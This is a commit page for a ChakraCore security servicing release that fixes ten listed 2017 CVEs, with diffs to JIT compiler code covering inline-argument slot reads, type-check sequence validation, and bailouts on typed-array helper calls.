Sfoglia il codice sorgente

[MERGE #3341 @akroshg] 17-07 ChakraCore servicing release

Merge pull request #3341 from pr/akroshg/1707

Fixes the following CVEs impacting ChakraCore

CVE-2017-8598
CVE-2017-8601
CVE-2017-8603
CVE-2017-8604
CVE-2017-8606
CVE-2017-8607
CVE-2017-8608
CVE-2017-8609
CVE-2017-8610
CVE-2017-8619
Akrosh Gandhi 8 anni fa
parent
commit
bd1dba2da8
42 ha cambiato i file con 1131 aggiunte e 241 eliminazioni
  1. 1 4
      lib/Backend/BackwardPass.cpp
  2. 1 1
      lib/Backend/Func.cpp
  3. 21 3
      lib/Backend/Func.h
  4. 12 0
      lib/Backend/GlobOpt.cpp
  5. 3 0
      lib/Backend/GlobOpt.h
  6. 88 0
      lib/Backend/GlobOptFields.cpp
  7. 37 12
      lib/Backend/Inline.cpp
  8. 2 0
      lib/Backend/Inline.h
  9. 74 24
      lib/Backend/Lower.cpp
  10. 52 22
      lib/Backend/LowerMDShared.cpp
  11. 2 2
      lib/Backend/LowerMDShared.h
  12. 1 2
      lib/Backend/Opnd.cpp
  13. 51 22
      lib/Backend/arm/LowerMD.cpp
  14. 2 2
      lib/Backend/arm/LowerMD.h
  15. 2 2
      lib/Backend/arm64/LowerMD.h
  16. 12 0
      lib/Common/Common/Int32Math.h
  17. 50 0
      lib/Common/Common/MathUtil.h
  18. 14 0
      lib/Common/Common/UInt16Math.h
  19. 3 2
      lib/Runtime/Base/ScriptContext.h
  20. 6 0
      lib/Runtime/ByteCode/ByteCodeEmitter.cpp
  21. 6 21
      lib/Runtime/Language/AsmJsUtils.cpp
  22. 27 50
      lib/Runtime/Language/InterpreterStackFrame.cpp
  23. 20 4
      lib/Runtime/Language/InterpreterStackFrame.h
  24. 7 0
      lib/Runtime/Language/amd64/amd64_Thunks.asm
  25. 47 14
      lib/Runtime/Library/JavascriptArray.cpp
  26. 15 0
      lib/Runtime/Library/JavascriptArray.h
  27. 10 10
      lib/Runtime/Library/amd64/JavascriptFunctionA.asm
  28. 5 5
      lib/Runtime/Types/DictionaryPropertyDescriptor.h
  29. 35 35
      lib/Runtime/Types/DictionaryTypeHandler.cpp
  30. 1 1
      lib/Runtime/Types/DictionaryTypeHandler.h
  31. 3 3
      lib/Runtime/Types/SimpleDictionaryTypeHandler.cpp
  32. 18 0
      test/AsmJs/lotsOfLocals.js
  33. 2 0
      test/AsmJs/params.baseline
  34. 115 0
      test/AsmJs/params.js
  35. 15 0
      test/AsmJs/rlexe.xml
  36. 122 0
      test/fieldopts/equiv-mismatch2.js
  37. 6 0
      test/fieldopts/rlexe.xml
  38. 118 0
      test/typedarray/reentry1.js
  39. 5 0
      test/typedarray/rlexe.xml
  40. 2 0
      test/wasm/baselines/params.baseline
  41. 108 0
      test/wasm/params.js
  42. 10 0
      test/wasm/rlexe.xml

+ 1 - 4
lib/Backend/BackwardPass.cpp

@@ -6854,10 +6854,7 @@ BackwardPass::TrackNoImplicitCallInlinees(IR::Instr *instr)
         || OpCodeAttr::CallInstr(instr->m_opcode)
         || instr->CallsAccessor()
         || GlobOpt::MayNeedBailOnImplicitCall(instr, nullptr, nullptr)
-        || instr->m_opcode == Js::OpCode::LdHeapArguments
-        || instr->m_opcode == Js::OpCode::LdLetHeapArguments
-        || instr->m_opcode == Js::OpCode::LdHeapArgsCached
-        || instr->m_opcode == Js::OpCode::LdLetHeapArgsCached
+        || instr->HasAnyLoadHeapArgsOpCode()
         || instr->m_opcode == Js::OpCode::LdFuncExpr)
     {
         // This func has instrs with bailouts or implicit calls

+ 1 - 1
lib/Backend/Func.cpp

@@ -95,7 +95,7 @@ Func::Func(JitArenaAllocator *alloc, JITTimeWorkItem * workItem,
     hasThrow(false),
     hasNonSimpleParams(false),
     hasUnoptimizedArgumentsAcccess(false),
-    hasApplyTargetInlining(false),
+    applyTargetInliningRemovedArgumentsAccess(false),
     hasImplicitCalls(false),
     hasTempObjectProducingInstr(false),
     isInlinedConstructor(isInlinedConstructor),

+ 21 - 3
lib/Backend/Func.h

@@ -509,12 +509,24 @@ static const unsigned __int64 c_debugFillPattern8 = 0xcececececececece;
     IR::SymOpnd *GetNextInlineeFrameArgCountSlotOpnd()
     {
         Assert(!this->m_hasInlineArgsOpt);
+        if (this->m_hasInlineArgsOpt)
+        {
+            // If the function has inlineArgsOpt turned on, jitted code will not write to stack slots for inlinee's function object
+            // and arguments, until needed. If we attempt to read from those slots, we may be reading uninitialized memory.
+            throw Js::OperationAbortedException();
+        }
         return GetInlineeOpndAtOffset((Js::Constants::InlineeMetaArgCount + actualCount) * MachPtr);
     }
 
     IR::SymOpnd *GetInlineeFunctionObjectSlotOpnd()
     {
         Assert(!this->m_hasInlineArgsOpt);
+        if (this->m_hasInlineArgsOpt)
+        {
+            // If the function has inlineArgsOpt turned on, jitted code will not write to stack slots for inlinee's function object
+            // and arguments, until needed. If we attempt to read from those slots, we may be reading uninitialized memory.
+            throw Js::OperationAbortedException();
+        }
         return GetInlineeOpndAtOffset(Js::Constants::InlineeMetaArgIndex_FunctionObject * MachPtr);
     }
 
@@ -526,6 +538,12 @@ static const unsigned __int64 c_debugFillPattern8 = 0xcececececececece;
     IR::SymOpnd *GetInlineeArgvSlotOpnd()
     {
         Assert(!this->m_hasInlineArgsOpt);
+        if (this->m_hasInlineArgsOpt)
+        {
+            // If the function has inlineArgsOpt turned on, jitted code will not write to stack slots for inlinee's function object
+            // and arguments, until needed. If we attempt to read from those slots, we may be reading uninitialized memory.
+            throw Js::OperationAbortedException();
+        }
         return GetInlineeOpndAtOffset(Js::Constants::InlineeMetaArgIndex_Argv * MachPtr);
     }
 
@@ -686,7 +704,7 @@ public:
     bool                hasThrow : 1;
     bool                hasUnoptimizedArgumentsAcccess : 1; // True if there are any arguments access beyond the simple case of this.apply pattern
     bool                m_canDoInlineArgsOpt : 1;
-    bool                hasApplyTargetInlining:1;
+    bool                applyTargetInliningRemovedArgumentsAccess :1;
     bool                isGetterSetter : 1;
     const bool          isInlinedConstructor: 1;
     bool                hasImplicitCalls: 1;
@@ -804,8 +822,8 @@ public:
                         }
     }
 
-    bool                GetHasApplyTargetInlining() const { return this->hasApplyTargetInlining;}
-    void                SetHasApplyTargetInlining() { this->hasApplyTargetInlining = true;}
+    bool                GetApplyTargetInliningRemovedArgumentsAccess() const { return this->applyTargetInliningRemovedArgumentsAccess;}
+    void                SetApplyTargetInliningRemovedArgumentsAccess() { this->applyTargetInliningRemovedArgumentsAccess = true;}
 
     bool                GetHasMarkTempObjects() const { return this->hasMarkTempObjects; }
     void                SetHasMarkTempObjects() { this->hasMarkTempObjects = true; }

+ 12 - 0
lib/Backend/GlobOpt.cpp

@@ -6220,6 +6220,18 @@ GlobOpt::FindObjectTypeValue(SymID typeSymId, GlobHashTable *valueNumberMap, BVS
     {
         return nullptr;
     }
+    return FindObjectTypeValueNoLivenessCheck(typeSymId, valueNumberMap);
+}
+
+Value *
+GlobOpt::FindObjectTypeValueNoLivenessCheck(StackSym* typeSym, BasicBlock* block)
+{
+    return FindObjectTypeValueNoLivenessCheck(typeSym->m_id, block->globOptData.symToValueMap);
+}
+
+Value *
+GlobOpt::FindObjectTypeValueNoLivenessCheck(SymID typeSymId, GlobHashTable *valueNumberMap)
+{
     Value* value = FindValueFromHashTable(valueNumberMap, typeSymId);
     Assert(value == nullptr || value->GetValueInfo()->IsJsType());
     return value;

+ 3 - 0
lib/Backend/GlobOpt.h

@@ -1364,6 +1364,8 @@ private:
     Value*                  FindObjectTypeValue(SymID typeSymId, BasicBlock* block);
     Value *                 FindObjectTypeValue(StackSym* typeSym, GlobHashTable *valueNumberMap, BVSparse<JitArenaAllocator>* liveFields);
     Value *                 FindObjectTypeValue(SymID typeSymId, GlobHashTable *valueNumberMap, BVSparse<JitArenaAllocator>* liveFields);
+    Value *                 FindObjectTypeValueNoLivenessCheck(StackSym* typeSym, BasicBlock* block);
+    Value *                 FindObjectTypeValueNoLivenessCheck(SymID typeSymId, GlobHashTable *valueNumberMap);
     Value *                 FindFuturePropertyValue(PropertySym *const propertySym);
     IR::Opnd *              CopyProp(IR::Opnd *opnd, IR::Instr *instr, Value *val, IR::IndirOpnd *parentIndirOpnd = nullptr);
     IR::Opnd *              CopyPropReplaceOpnd(IR::Instr * instr, IR::Opnd * opnd, StackSym * copySym, IR::IndirOpnd *parentIndirOpnd = nullptr);
@@ -1760,6 +1762,7 @@ private:
     bool                    PreparePropertySymOpndForTypeCheckSeq(IR::PropertySymOpnd *propertySymOpnd, IR::Instr * instr, Loop *loop);
     static bool             AreTypeSetsIdentical(Js::EquivalentTypeSet * leftTypeSet, Js::EquivalentTypeSet * rightTypeSet);
     static bool             IsSubsetOf(Js::EquivalentTypeSet * leftTypeSet, Js::EquivalentTypeSet * rightTypeSet);
+    static bool             CompareCurrentTypesWithExpectedTypes(JsTypeValueInfo *valueInfo, IR::PropertySymOpnd * propertySymOpnd);
     bool                    ProcessPropOpInTypeCheckSeq(IR::Instr* instr, IR::PropertySymOpnd *opnd);
     bool                    CheckIfInstrInTypeCheckSeqEmitsTypeCheck(IR::Instr* instr, IR::PropertySymOpnd *opnd);
     template<bool makeChanges>

+ 88 - 0
lib/Backend/GlobOptFields.cpp

@@ -2310,6 +2310,79 @@ GlobOpt::IsSubsetOf(Js::EquivalentTypeSet * leftTypeSet, Js::EquivalentTypeSet *
     return Js::EquivalentTypeSet::IsSubsetOf(leftTypeSet, rightTypeSet);
 }
 
+bool
+GlobOpt::CompareCurrentTypesWithExpectedTypes(JsTypeValueInfo *valueInfo, IR::PropertySymOpnd * propertySymOpnd)
+{
+    bool isTypeDead = propertySymOpnd->IsTypeDead();
+
+    if (valueInfo == nullptr || (valueInfo->GetJsType() == nullptr && valueInfo->GetJsTypeSet() == nullptr))
+    {
+        // No upstream types. Do a type check.
+        return !isTypeDead;
+    }
+
+    if (!propertySymOpnd->HasEquivalentTypeSet() || propertySymOpnd->NeedsMonoCheck())
+    {
+        JITTypeHolder opndType = propertySymOpnd->GetType();
+
+        if (valueInfo->GetJsType() != nullptr)
+        {
+            if (valueInfo->GetJsType() == propertySymOpnd->GetType())
+            {
+                return true;
+            }
+            if (propertySymOpnd->HasInitialType() && valueInfo->GetJsType() == propertySymOpnd->GetInitialType())
+            {
+                return !isTypeDead;
+            }
+            return false;
+        }
+        else
+        {
+            Assert(valueInfo->GetJsTypeSet());
+            Js::EquivalentTypeSet *valueTypeSet = valueInfo->GetJsTypeSet();
+
+            if (valueTypeSet->Contains(opndType))
+            {
+                return !isTypeDead;
+            }
+            if (propertySymOpnd->HasInitialType() && valueTypeSet->Contains(propertySymOpnd->GetInitialType()))
+            {
+                return !isTypeDead;
+            }
+            return false;
+        }
+    }
+    else
+    {
+        Js::EquivalentTypeSet * opndTypeSet = propertySymOpnd->GetEquivalentTypeSet();
+
+        if (valueInfo->GetJsType() != nullptr)
+        {
+            uint16 checkedTypeSetIndex;
+            if (opndTypeSet->Contains(valueInfo->GetJsType(), &checkedTypeSetIndex))
+            {
+                return true;
+            }
+            return false;
+        }
+        else
+        {
+            if (IsSubsetOf(valueInfo->GetJsTypeSet(), opndTypeSet))
+            {
+                return true;
+            }
+            if (propertySymOpnd->IsMono() ?
+                    valueInfo->GetJsTypeSet()->Contains(propertySymOpnd->GetFirstEquivalentType()) :
+                    IsSubsetOf(opndTypeSet, valueInfo->GetJsTypeSet()))
+            {
+                return true;
+            }
+            return false;
+        }
+    }
+}
+
 bool
 GlobOpt::ProcessPropOpInTypeCheckSeq(IR::Instr* instr, IR::PropertySymOpnd *opnd)
 {
@@ -3067,6 +3140,21 @@ GlobOpt::CopyPropPropertySymObj(IR::SymOpnd *symOpnd, IR::Instr *instr)
                 {
                     IR::PropertySymOpnd *propertySymOpnd = symOpnd->AsPropertySymOpnd();
 
+                    if (propertySymOpnd->IsTypeCheckSeqCandidate())
+                    {
+                        // If the new pointer sym's expected type(s) don't match those in the inline-cache-based data for this access,
+                        // we probably have a mismatch and can't safely objtypespec. If the saved objtypespecfldinfo isn't right for
+                        // the new type, then we'll do an incorrect property access.
+                        StackSym * newTypeSym = copySym->GetObjectTypeSym();
+                        Value * newValue = this->FindObjectTypeValueNoLivenessCheck(newTypeSym, this->currentBlock);
+                        JsTypeValueInfo * newValueInfo = newValue ? newValue->GetValueInfo()->AsJsType() : nullptr;
+                        bool shouldOptimize = CompareCurrentTypesWithExpectedTypes(newValueInfo, propertySymOpnd);
+                        if (!shouldOptimize)
+                        {
+                            propertySymOpnd->SetTypeCheckSeqCandidate(false);
+                        }
+                    }
+
                     // This is no longer strictly necessary, since we don't set the type dead bits in the initial
                     // backward pass, but let's keep it around for now in case we choose to revert to the old model.
                     propertySymOpnd->SetTypeDeadIfTypeCheckSeqCandidate(false);

+ 37 - 12
lib/Backend/Inline.cpp

@@ -2701,6 +2701,13 @@ bool Inline::InlineApplyScriptTarget(IR::Instr *callInstr, const FunctionJITTime
         return false;
     });
 
+    // If the arguments object was passed in as the first argument to apply,
+    // 'arguments' access continues to exist even after apply target inlining 
+    if (!HasArgumentsAccess(explicitThisArgOut))
+    {
+        callInstr->m_func->SetApplyTargetInliningRemovedArgumentsAccess();
+    }
+
     if (safeThis)
     {
         IR::Instr * byteCodeArgOutCapture = explicitThisArgOut->GetBytecodeArgOutCapture();
@@ -3134,11 +3141,6 @@ Inline::TryGetFixedMethodsForBuiltInAndTarget(IR::Instr *callInstr, const Functi
         return false;
     }
 
-    if (isApplyTarget)
-    {
-        callInstr->m_func->SetHasApplyTargetInlining();
-    }
-
     Assert(callInstr->m_opcode == originalCallOpCode);
     callInstr->ReplaceSrc1(builtInLdInstr->GetDst());
 
@@ -5281,21 +5283,39 @@ Inline::IsArgumentsOpnd(IR::Opnd* opnd, SymID argumentsSymId)
     return false;
 }
 
+bool
+Inline::IsArgumentsOpnd(IR::Opnd* opnd)
+{
+    IR::Opnd * checkOpnd = opnd;
+    while (checkOpnd)
+    {
+        if (checkOpnd->IsArgumentsObject())
+        {
+            return true;
+        }
+        checkOpnd = checkOpnd->GetStackSym() && checkOpnd->GetStackSym()->IsSingleDef() ? checkOpnd->GetStackSym()->GetInstrDef()->GetSrc1() : nullptr;
+    }
+
+    return false;
+}
 
 bool
 Inline::HasArgumentsAccess(IR::Opnd *opnd, SymID argumentsSymId)
 {
     // We should look at dst last to correctly handle cases where it's the same as one of the src operands.
-    if (opnd)
+    IR::Opnd * checkOpnd = opnd;
+    while (checkOpnd)
     {
-        if (opnd->IsRegOpnd() || opnd->IsSymOpnd() || opnd->IsIndirOpnd())
+        if (checkOpnd->IsRegOpnd() || checkOpnd->IsSymOpnd() || checkOpnd->IsIndirOpnd())
         {
-            if (IsArgumentsOpnd(opnd, argumentsSymId))
+            if (IsArgumentsOpnd(checkOpnd, argumentsSymId))
             {
                 return true;
             }
         }
+        checkOpnd = checkOpnd->GetStackSym() && checkOpnd->GetStackSym()->IsSingleDef() ? checkOpnd->GetStackSym()->GetInstrDef()->GetSrc1() : nullptr;
     }
+
     return false;
 }
 
@@ -5328,6 +5348,13 @@ Inline::HasArgumentsAccess(IR::Instr * instr, SymID argumentsSymId)
     return false;
 }
 
+bool
+Inline::HasArgumentsAccess(IR::Instr * instr)
+{
+    return (instr->GetSrc1() && IsArgumentsOpnd(instr->GetSrc1())) ||
+        (instr->GetSrc2() && IsArgumentsOpnd(instr->GetSrc2()));
+}
+
 bool
 Inline::GetInlineeHasArgumentObject(Func * inlinee)
 {
@@ -5339,14 +5366,12 @@ Inline::GetInlineeHasArgumentObject(Func * inlinee)
 
     // Inlinee has arguments access
 
-    if (!inlinee->GetHasApplyTargetInlining())
+    if (!inlinee->GetApplyTargetInliningRemovedArgumentsAccess())
     {
-        // There is no apply target inlining (this.init.apply(this, arguments))
-        // So arguments access continues to exist
         return true;
     }
 
-    // Its possible there is no more arguments access after we inline apply target validate the same.
+    // Its possible there is no more arguments access after we inline apply target; validate the same.
     // This sounds expensive, but we are only walking inlinee which has apply target inlining optimization enabled.
     // Also we walk only instruction in that inlinee and not nested inlinees. So it is not expensive.
     SymID argumentsSymId = 0;

+ 2 - 0
lib/Backend/Inline.h

@@ -91,8 +91,10 @@ private:
     IR::Instr * RemoveLdThis(IR::Instr *instr);
     bool        GetInlineeHasArgumentObject(Func * inlinee);
     bool        HasArgumentsAccess(IR::Instr * instr, SymID argumentsSymId);
+    bool        HasArgumentsAccess(IR::Instr * instr);
     bool        HasArgumentsAccess(IR::Opnd * opnd, SymID argumentsSymId);
     bool        IsArgumentsOpnd(IR::Opnd* opnd,SymID argumentsSymId);
+    bool        IsArgumentsOpnd(IR::Opnd* opnd);
     void        Cleanup(IR::Instr *callInstr);
     IR::PropertySymOpnd* GetMethodLdOpndForCallInstr(IR::Instr* callInstr);
 #ifdef ENABLE_SIMDJS

+ 74 - 24
lib/Backend/Lower.cpp

@@ -16924,20 +16924,17 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                 const IR::AutoReuseOpnd autoReuseReg(reg, m_func);
                 InsertMove(reg, src, stElem);
 
-                bool bailOutOnHelperCall = stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall);
-
                 // Convert to float, and assign to indirOpnd
                 if (baseValueType.IsLikelyOptimizedVirtualTypedArray())
                 {
                     IR::RegOpnd* dstReg = IR::RegOpnd::New(indirOpnd->GetType(), this->m_func);
-                    m_lowererMD.EmitLoadFloat(dstReg, reg, stElem, bailOutOnHelperCall);
+                    m_lowererMD.EmitLoadFloat(dstReg, reg, stElem, stElem, labelHelper);
                     InsertMove(indirOpnd, dstReg, stElem);
                 }
                 else
                 {
-                    m_lowererMD.EmitLoadFloat(indirOpnd, reg, stElem, bailOutOnHelperCall);
+                    m_lowererMD.EmitLoadFloat(indirOpnd, reg, stElem, stElem, labelHelper);
                 }
-
             }
         }
         else if (objectType == ObjectType::Uint8ClampedArray || objectType == ObjectType::Uint8ClampedVirtualArray || objectType == ObjectType::Uint8ClampedMixedArray)
@@ -17120,7 +17117,7 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                 //      Any pointer is larger than 512 because first 64k memory is reserved by the OS
                 // #endif
 
-                IR::LabelInstr *labelInlineSet = IR::LabelInstr::New(Js::OpCode::Label, this->m_func, true);
+                IR::LabelInstr *labelInlineSet = IR::LabelInstr::New(Js::OpCode::Label, this->m_func);
 #ifndef _M_ARM
                 //      TEST src, ~(TaggedInt(255))      -- Check for tagged int >= 255 and <= 0
                 //      JEQ $inlineSet
@@ -17142,29 +17139,53 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
 
                 // Uint8ClampedArray::DirectSetItem(array, index, value);
 
-                m_lowererMD.LoadHelperArgument(stElem, regSrc);
-                IR::Opnd *indexOpnd = indirOpnd->GetIndexOpnd();
-                if (indexOpnd == nullptr)
+                // Inserting a helper call. Make sure it observes the main instructions's requirements regarding implicit calls.
+                if (!instrIsInHelperBlock)
                 {
-                    indexOpnd = IR::IntConstOpnd::New(indirOpnd->GetOffset(), TyInt32, this->m_func);
+                    stElem->InsertBefore(IR::LabelInstr::New(Js::OpCode::Label, m_func, true));
                 }
-                else
+
+                if (stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall))
                 {
-                    Assert(indirOpnd->GetOffset() == 0);
+                    // Bail out instead of doing the helper call.
+                    Assert(labelHelper);
+                    this->InsertBranch(Js::OpCode::Br, labelHelper, stElem);
                 }
-                m_lowererMD.LoadHelperArgument(stElem, indexOpnd);
-                m_lowererMD.LoadHelperArgument(stElem, stElem->GetDst()->AsIndirOpnd()->GetBaseOpnd());
+                else
+                {
+                    IR::Instr *instr = IR::Instr::New(Js::OpCode::Call, this->m_func);
+                    stElem->InsertBefore(instr);
 
-                IR::Instr *instr = IR::Instr::New(Js::OpCode::Call, this->m_func);
+                    if (stElem->HasBailOutInfo() && BailOutInfo::IsBailOutOnImplicitCalls(stElem->GetBailOutKind()))
+                    {
+                        // Bail out if this helper triggers implicit calls.
+                        instr = instr->ConvertToBailOutInstr(stElem->GetBailOutInfo(), stElem->GetBailOutKind());
+                        if (stElem->GetBailOutInfo()->bailOutInstr == stElem)
+                        {
+                            IR::Instr * instrShare = stElem->ShareBailOut();
+                            LowerBailTarget(instrShare);
+                        }
+                    }
 
-                Assert(objectType == ObjectType::Uint8ClampedArray || objectType == ObjectType::Uint8ClampedMixedArray || objectType == ObjectType::Uint8ClampedVirtualArray);
-                instr->SetSrc1(IR::HelperCallOpnd::New(IR::HelperUint8ClampedArraySetItem, this->m_func));
+                    m_lowererMD.LoadHelperArgument(instr, regSrc);
+                    IR::Opnd *indexOpnd = indirOpnd->GetIndexOpnd();
+                    if (indexOpnd == nullptr)
+                    {
+                        indexOpnd = IR::IntConstOpnd::New(indirOpnd->GetOffset(), TyInt32, this->m_func);
+                    }
+                    else
+                    {
+                        Assert(indirOpnd->GetOffset() == 0);
+                    }
+                    m_lowererMD.LoadHelperArgument(instr, indexOpnd);
+                    m_lowererMD.LoadHelperArgument(instr, stElem->GetDst()->AsIndirOpnd()->GetBaseOpnd());
 
-                stElem->InsertBefore(instr);
-                m_lowererMD.LowerCall(instr, 0);
+                    Assert(objectType == ObjectType::Uint8ClampedArray || objectType == ObjectType::Uint8ClampedMixedArray || objectType == ObjectType::Uint8ClampedVirtualArray);
+                    m_lowererMD.ChangeToHelperCall(instr, IR::JnHelperMethod::HelperUint8ClampedArraySetItem);
 
-                // JMP $fallThrough
-                InsertBranch(Js::OpCode::Br, labelFallThru, stElem);
+                    // JMP $fallThrough
+                    InsertBranch(Js::OpCode::Br, labelFallThru, stElem);
+                }
 
                 //$inlineSet
                 stElem->InsertBefore(labelInlineSet);
@@ -17207,9 +17228,27 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                 AssertMsg(AutoSystemInfo::Data.SSE2Available(), "GloOpt shouldn't have specialized Uint32Array StElemI to float64 if SSE2 is unavailable.");
 #endif
 
+                bool bailOutOnHelperCall = stElem->HasBailOutInfo() ? !!(stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall) : false;
+                if (bailOutOnHelperCall)
+                {
+                    if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func))
+                    {
+                        // Array access helper call removal is already off for some reason. Prevent trying to rejit again
+                        // because it won't help and the same thing will happen again. Just abort jitting this function.
+                        if(PHASE_TRACE(Js::BailOutPhase, this->m_func))
+                        {
+                            Output::Print(_u("    Aborting JIT because EliminateArrayAccessHelperCall is already off\n"));
+                            Output::Flush();
+                        }
+                        throw Js::OperationAbortedException();
+                    }
+
+                    throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled);
+                }
+
                 IR::RegOpnd *const reg = IR::RegOpnd::New(TyInt32, this->m_func);
                 const IR::AutoReuseOpnd autoReuseReg(reg, m_func);
-                m_lowererMD.EmitFloatToInt(reg, src, stElem);
+                m_lowererMD.EmitFloatToInt(reg, src, stElem, stElem, labelHelper);
 
                 // MOV indirOpnd, reg
                 InsertMove(indirOpnd, reg, stElem);
@@ -17239,12 +17278,23 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef)
                     // FromVar reg, Src
                     IR::RegOpnd *const reg = IR::RegOpnd::New(TyInt32, this->m_func);
                     const IR::AutoReuseOpnd autoReuseReg(reg, m_func);
-                    IR::Instr *const instr = IR::Instr::New(Js::OpCode::FromVar, reg, regSrc, stElem->m_func);
+                    IR::Instr * instr = IR::Instr::New(Js::OpCode::FromVar, reg, regSrc, stElem->m_func);
                     stElem->InsertBefore(instr);
 
                     // Convert reg to int32
                     // Note: ToUint32 is implemented as (uint32)ToInt32()
-                    bool bailOutOnHelperCall = (stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall));
+                    IR::BailOutKind bailOutKind = stElem->HasBailOutInfo() ? stElem->GetBailOutKind() : IR::BailOutInvalid;
+                    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+                    {
+                        instr = instr->ConvertToBailOutInstr(stElem->GetBailOutInfo(), bailOutKind);
+                        if (stElem->GetBailOutInfo()->bailOutInstr == stElem)
+                        {
+                            IR::Instr * instrShare = stElem->ShareBailOut();
+                            LowerBailTarget(instrShare);
+                        }
+                    }
+
+                    bool bailOutOnHelperCall = !!(bailOutKind & IR::BailOutOnArrayAccessHelperCall);
                     m_lowererMD.EmitLoadInt32(instr, true /*conversionFromObjectAllowed*/, bailOutOnHelperCall, labelHelper);
 
                     // MOV indirOpnd, reg

+ 52 - 22
lib/Backend/LowerMDShared.cpp

@@ -6732,8 +6732,8 @@ LowererMD::EmitLoadFloatCommon(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertIn
     return labelDone;
 }
 
-IR::RegOpnd *
-LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall)
+void
+LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut, IR::LabelInstr * labelBailOut)
 {
     IR::LabelInstr *labelDone;
     IR::Instr *instr;
@@ -6742,24 +6742,17 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     if (labelDone == nullptr)
     {
         // We're done
-        return nullptr;
+        return;
     }
 
-    if (bailOutOnHelperCall)
+    IR::BailOutKind bailOutKind = instrBailOut && instrBailOut->HasBailOutInfo() ? instrBailOut->GetBailOutKind() : IR::BailOutInvalid;
+    if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
     {
-        if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func))
-        {
-            // Array access helper call removal is already off for some reason. Prevent trying to rejit again
-            // because it won't help and the same thing will happen again. Just abort jitting this function.
-            if(PHASE_TRACE(Js::BailOutPhase, this->m_func))
-            {
-                Output::Print(_u("    Aborting JIT because EliminateArrayAccessHelperCall is already off\n"));
-                Output::Flush();
-            }
-            throw Js::OperationAbortedException();
-        }
-
-        throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled);
+        // Bail out instead of making the helper call.
+        Assert(labelBailOut);
+        m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, insertInstr);
+        insertInstr->InsertBefore(labelDone);
+        return;
     }
 
     IR::Opnd *memAddress = dst;
@@ -6785,6 +6778,18 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     instr->SetSrc2(reg3Opnd);
     insertInstr->InsertBefore(instr);
 
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        _Analysis_assume_(instrBailOut != nullptr);
+
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
     IR::JnHelperMethod helper;
     if (dst->GetType() == TyFloat32)
     {
@@ -6813,8 +6818,6 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     }
     // $Done
     insertInstr->InsertBefore(labelDone);
-
-    return nullptr;
 }
 
 void
@@ -8362,13 +8365,26 @@ LowererMD::InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *cons
 }
 
 void
-LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
+LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr *instrBailOut, IR::LabelInstr * labelBailOut)
 {
 #ifdef _M_IX86
     // We should only generate this if sse2 is available
     Assert(AutoSystemInfo::Data.SSE2Available());
 #endif
 
+    IR::BailOutKind bailOutKind = IR::BailOutInvalid;
+    if (instrBailOut && instrBailOut->HasBailOutInfo())
+    {
+        bailOutKind = instrBailOut->GetBailOutKind();
+        if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
+        {
+            // Bail out instead of calling helper. If this is happening unconditionally, the caller should instead throw a rejit exception.
+            Assert(labelBailOut);
+            m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, instrInsert);
+            return;
+        }
+    }
+
     IR::LabelInstr *labelDone = IR::LabelInstr::New(Js::OpCode::Label, this->m_func);
     IR::LabelInstr *labelHelper = IR::LabelInstr::New(Js::OpCode::Label, this->m_func, true);
     IR::Instr *instr;
@@ -8385,11 +8401,25 @@ LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
 
         EmitFloat32ToFloat64(arg, src, instrInsert);
     }
-    // dst = ToInt32Core(src);
-    LoadDoubleHelperArgument(instrInsert, arg);
 
     instr = IR::Instr::New(Js::OpCode::CALL, dst, this->m_func);
     instrInsert->InsertBefore(instr);
+
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        _Analysis_assume_(instrBailOut != nullptr);
+
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
+    // dst = ToInt32Core(src);
+    LoadDoubleHelperArgument(instr, arg);
+
     this->ChangeToHelperCall(instr, IR::HelperConv_ToInt32Core);
 
